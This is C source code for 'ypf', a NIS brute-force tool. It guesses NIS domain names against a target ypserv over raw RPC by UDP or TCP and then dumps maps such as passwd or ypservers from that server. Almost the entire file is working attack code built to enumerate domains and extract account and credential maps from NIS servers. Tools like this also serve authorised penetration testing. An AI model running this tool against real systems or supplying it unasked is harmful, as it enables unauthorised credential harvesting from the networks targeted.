/* $Id: ypf.c,v 1.1.1.1 2003/10/21 09:17:01 olle Exp $ */ /* * * ypf.c - NIS bf tool * * (c)2000-2002 Olle Segerdahl * * * v.0.0.3 - done it right this time with getopt and stuff, * rewrote most of everything, it should work now.... * * v.0.0.2 - rehacked to only use TCP 'til I get this mess sorted... * bleedin waste of fd's .... dammit * * v.0.0.1 - tries domains from file * */ /* Copyright (c) 2000-2002, Olle Segerdahl All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. - Neither the name of the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include //bcopy/bzero #include //io funcs #include //atoi #include //time #include #include #include #define RPC_LAST_FRAG htonl(0x80000000) #define RPCC_HDR_LEN 40 #define RPCR_HDR_LEN 24 // RPC packet structures struct rpc_call { int xid; int rpctype; int rpcver; int program; int progver; int procedure; int auth[2]; int verifier[2]; char data[1024]; }; struct rpc_reply { int xid; int rpctype; int state; int verifier[2]; int error; char data[1024]; }; // wrappers with fragmentation fields struct s_rpc_call { int frag; struct rpc_call c; }; struct s_rpc_reply { int frag; struct rpc_reply r; }; // put an rpc call to ypserv in rpc_call struct inline void mk_ypserv_call(struct rpc_call *prpcc, int xid, int procedure) { bzero((char *)prpcc, sizeof(struct rpc_call)); prpcc->xid = htonl(xid); prpcc->rpctype = htonl(0); //call prpcc->rpcver = htonl(2); //rpc v2 prpcc->program = htonl(100004); //ypserv prpcc->progver = htonl(2); //ypserv v2 prpcc->procedure = htonl(procedure); } // stuff a yp string parameter into rpc packet int stuff_yp_string_param(void *p, char *str) { int bytes; // set length field bytes = htonl(strlen(str)); bcopy(&bytes, p, sizeof(int)); // set string parameter bcopy(str, (p+4), strlen(str)); // calculate length of parameter bytes = strlen(str) + 4; // and 4-byte align it while (bytes % 4) bytes++; return bytes; } // check if domain is served by ypserv int do_yp_domain(int s, char *dom) { int e, xid; struct rpc_call rpcc; struct rpc_reply rpcr; int *yp_result; int bytes; xid = rand(); // build rpc call mk_ypserv_call(&rpcc, xid, 1); //proc = 1 (domain) // stuff yp parameter bytes = stuff_yp_string_param(rpcc.data, dom); // add rpc header to packet length bytes += RPCC_HDR_LEN; // send rpc call e = send(s, (char *)&rpcc, bytes, 0); if (e<0) { fprintf(stderr, "send: %s\n", strerror(errno)); return -1; } // recieve rpc reply e = recv(s, &rpcr, sizeof(struct rpc_reply), 0); if (e<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); return -1; } // parse rpc reply if (ntohl(rpcr.xid) == xid && ntohl(rpcr.rpctype) == 1 && rpcr.state == 0 && rpcr.error == 0) { //ypserv domain reply yp_result = (int *)rpcr.data; if (*yp_result == htonl(1)) return 1; else return 0; } else { fprintf(stderr, "invalid rpc reply recieved!\n"); return -1; } } // print all entries from map in dom int do_yp_all(int s, char *dom, char *map, int fragment) { int e, xid; struct s_rpc_call srpcc; struct rpc_reply *rpcr; int *ip; char *cp, *data = NULL; int bytes, frag; xid = rand(); // build rpc call mk_ypserv_call(&srpcc.c, xid, 8); //proc = 8 (all) // stuff yp parameter 1 (dom) bytes = stuff_yp_string_param(srpcc.c.data, dom); // stuff yp parameter 2 (map) bytes += stuff_yp_string_param((srpcc.c.data+bytes), map); // add rpc header to packet length bytes += RPCC_HDR_LEN; // handle rpc fragmentation if (fragment) { // set rpc fragment field bytes += 4; srpcc.frag = htonl(bytes) + RPC_LAST_FRAG; // send rpc call e = send(s, (char *)&srpcc, bytes, 0); if (e<0) { fprintf(stderr, "send: %s\n", strerror(errno)); return -1; } // recv rpc reply e = recv(s, &frag, sizeof(int), 0); if (e<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); return -1; } // calculate fragment size if (frag & RPC_LAST_FRAG) bytes = ntohl(frag - RPC_LAST_FRAG); else bytes = ntohl(frag); // allocate room for rpc reply data = malloc(bytes); if (!data) { fprintf(stderr, "malloc: %s\n", strerror(errno)); exit(1); } // get rpc reply cp = data; do { e = recv(s, cp, bytes - (cp-data), 0); if (e<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); free(data); return -1; } cp += e; } while(bytes > (cp-data)); // if fragmented, complete the reply while (!(frag & RPC_LAST_FRAG)) { int count; // recv rpc fragment field e = recv(s, &frag, sizeof(int), 0); if (e<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); free(data); return -1; } // calculate fragment size count = bytes; if (frag & RPC_LAST_FRAG) bytes += ntohl(frag - RPC_LAST_FRAG); else bytes += ntohl(frag); // expand data buffer data = realloc(data, bytes); if (!data) { fprintf(stderr, "malloc: %s\n", strerror(errno)); exit(1); } // get continuation data do { e = recv(s, (data + count), bytes - count, 0); if (e<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); free(data); return -1; } count += e; //fprintf(stderr, "got %i bytes, %i of %i\n", e, count, bytes); } while(bytes > count); } // while (!(frag & RPC_LAST_FRAG)) // no rpc fragmentation handling } else { int count = 0; data = NULL; // send rpc call e = send(s, (char *)&srpcc.c, bytes, 0); if (e<0) { fprintf(stderr, "send: %s\n", strerror(errno)); return -1; } // peek to figure out size of message do { // allocate data buffer count++; if (data) free(data); data = malloc(count*4096); if (!data) { fprintf(stderr, "realloc: %s\n", strerror(errno)); exit(1); } // try to recv reply bytes = recv(s, data, count*4096, MSG_PEEK); if (bytes<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); free(data); return -1; } //fprintf(stderr, "got %i bytes into %i buf\n", bytes, count*4096); } while (count*4096 <= bytes); // recv message into buffer bytes = recv(s, data, count*4096, 0); if (bytes<0) { fprintf(stderr, "recv: %s\n", strerror(errno)); free(data); return -1; } } // endif (fragment) // check for rpc reply header rpcr = (struct rpc_reply *)data; if (rpcr->xid == htonl(xid) && rpcr->rpctype == htonl(1)) { // check for unsuccessful reply if (bytes <= RPCR_HDR_LEN || rpcr->error != 0) { //fprintf(stderr,"ypserv returned %i,%i on map %s in domain %s!\n", bytes, ntohl(rpcr->error), map, dom); free(data); return 0; } } else { fprintf(stderr, "invalid rpc reply recieved!\n"); free(data); return -1; } // parse reply data printf("\n"); cp = data+RPCR_HDR_LEN; ip = (int *)cp; while (bytes > cp-data && *ip != 0) { int count; // skip 0001 fields while (ntohl(*ip) == 1) { ip++; } // check alignment of entry if (ntohl(*(ip-1)) == 1 && ntohl(*(ip-2)) == 1) { // compare strlen and bytecount cp = (char *)(ip+1); if (ntohl(*ip) != strlen(cp)) { fprintf(stderr, "strlen mismatch! (%i/%i)\n", ntohl(*ip), strlen(cp)); free(data); return -1; } // print next entry printf("%s\n",cp); // calculate padded strlen count = strlen(cp); while (count % 4) count++; // update pointers cp += count; ip = (int *)cp; } else { fprintf(stderr, "misaligned entry!\n"); fprintf(stderr, "ip-1 = %x ip-2 = %x\n", *(ip-1), *(ip-2)); free(data); return -1; } // calculate padded length and skip map keys if (ntohl(*ip) != strlen(cp+4)) { fprintf(stderr, "strlen mismatch! (%i/%i)\n", ntohl(*ip), strlen(cp)); free(data); return -1; } count = ntohl(*ip) + 4; while (count % 4) count++; // update pointers cp += count; ip = (int *)cp; } free(data); fflush(stdout); return 1; } int connect_tcp(char *host, unsigned short port) { int e, s; struct sockaddr_in inaddr; inaddr.sin_family = AF_INET; inaddr.sin_addr.s_addr = inet_addr(host); inaddr.sin_port = htons(port); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (s<0) { fprintf(stderr, "socket: %s\n", strerror(errno)); return -1; } e = connect(s, (struct sockaddr*)&inaddr, sizeof(struct sockaddr_in)); if (e<0) { fprintf(stderr, "connect: %s\n", strerror(errno)); close(s); return -1; } return s; } int connect_udp(char *host, unsigned short port) { int e, s; struct sockaddr_in inaddr; inaddr.sin_family = AF_INET; inaddr.sin_addr.s_addr = inet_addr(host); inaddr.sin_port = htons(port); s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (s<0) { fprintf(stderr, "socket: %s\n", strerror(errno)); return -1; } e = connect(s, (struct sockaddr *)&inaddr, sizeof(struct sockaddr_in)); if (e<0) { fprintf(stderr, "connect: %s\n", strerror(errno)); close(s); return -1; } return s; } void usage(void) { fprintf(stderr, "\n ypf v.003 - NIS bf tool (c)2000-2002 Olle Segerdahl \n\n"); fprintf(stderr, " usage: ypf -h target -u UDP_port -t TCP_port -f domain_file -d domainname -m NIS_map\n\n"); fprintf(stderr, " Must specify at least one port and one of -f or -d.\n"); fprintf(stderr, " -f implies brute-forcing mode. -m optionally dumps map.\n"); fprintf(stderr, "\n"); } int main(int argc, char **argv) { int e, s, ss, arg; unsigned short tp, up; FILE *fil = NULL; char *map = NULL; char *ip = NULL; char dom[256]; dom[0] = tp = up = 0; // parse commandline options while((arg = getopt(argc,argv,"h:f:u:t:m:d:")) != EOF) { switch (arg) { case 'h': ip = optarg; break; case 'd': strncpy(dom, optarg, 255); dom[255]='\0'; break; case 'f': fil = fopen(optarg, "r"); if (fil == NULL) { fprintf(stderr, "Couldn't open file %s: %s\n", optarg, strerror(errno)); exit(1); } break; case 'u': up = atoi(optarg); break; case 't': tp = atoi(optarg); break; case 'm': map = optarg; break; default: usage(); exit(1); } } // check target if (!ip) { usage(); fprintf(stderr, "Please specify one (1) target!\n\n"); exit(1); } // check for port(s) if (!up && !tp) { usage(); fprintf(stderr, "Please specify at least one (1) port!\n\n"); exit(1); } // check for one domainname option if ((!fil && !dom[0]) || (dom[0] && fil)) { usage(); fprintf(stderr, "Please specify one and only one (1) of -f and -d!\n\n"); exit(1); } // seed rand() for xid's srand(time(NULL)); // prefer a persistent UDP connection if (up) { s = connect_udp(ip, up); if (s<0) { fprintf(stderr, "connect error!\n"); exit(1); } } // bypass bruteforce loop for single domainname if (!fil) goto single; // start doing stuff while (fil) { // read domainname if (NULL == fgets(dom, 255, fil)) { if (feof(fil)) { fprintf(stderr, "\nno more domainnames in file.\n"); exit(0); } else { fprintf(stderr, "\nError reading file: %s\n", strerror(errno)); exit(1); } } dom[255]=0; // chomp dominname if (dom[strlen(dom)-1] == '\n') dom[strlen(dom)-1] = 0; if (dom[strlen(dom)-1] == '\r') dom[strlen(dom)-1] = 0; single: // if UDP is available if (up) { // check domainname e = do_yp_domain(s, dom); if (e<0) { fprintf(stderr, "rpc error in do_yp_domain!\n"); return -1; // dump map if specified } else if (e && map) { fprintf(stderr, "\nattempting to get map \"%s\" in domain \"%s\" :\n", map, dom); // prefer TCP if (tp) { ss = connect_tcp(ip, tp); if (ss<0) { fprintf(stderr, "TCP connect error!\n"); exit(1); } e = do_yp_all(ss, dom, map, 1); close(ss); } else e = do_yp_all(s, dom, map, 0); if (e<0) fprintf(stderr, "\nrpc error in do_yp_all!\n"); else if(e) fprintf(stderr, "\ndump of \"%s\" for domain \"%s\" succeded!\n", map, dom); else fprintf(stderr, "ypserv serves domain \"%s\" but map \"%s\" doesn't exist.\n", dom, map); } else if (e) fprintf(stderr, "\nypserv at udp:%s:%i serves domain \"%s\"!\n", ip, up, dom); else if (!fil) fprintf(stderr, "sorry, ypserv at udp:%s:%i does not serve domain \"%s\".\n", ip, up, dom); else // progress indicator fprintf(stderr, "."); // TCP only } else { // dump map or default "ypservers" s = connect_tcp(ip, tp); if (s<0) { fprintf(stderr, "TCP connect error!\n"); exit(1); } if (!map) map = "ypservers"; e = do_yp_all(s, dom, map, 1); close(s); if (e<0) { fprintf(stderr, "rpc error in do_yp_domain!\n"); return -1; } else if(e) fprintf(stderr, "\ndump of \"%s\" for domain \"%s\" succeded!\n", map, dom); else if (!fil) fprintf(stderr, "sorry, ypserv at tcp:%s:%i does not serve domain \"%s\".\n", ip, tp, dom); else // progress indicator fprintf(stderr, "."); } } // while (fil) exit(0); }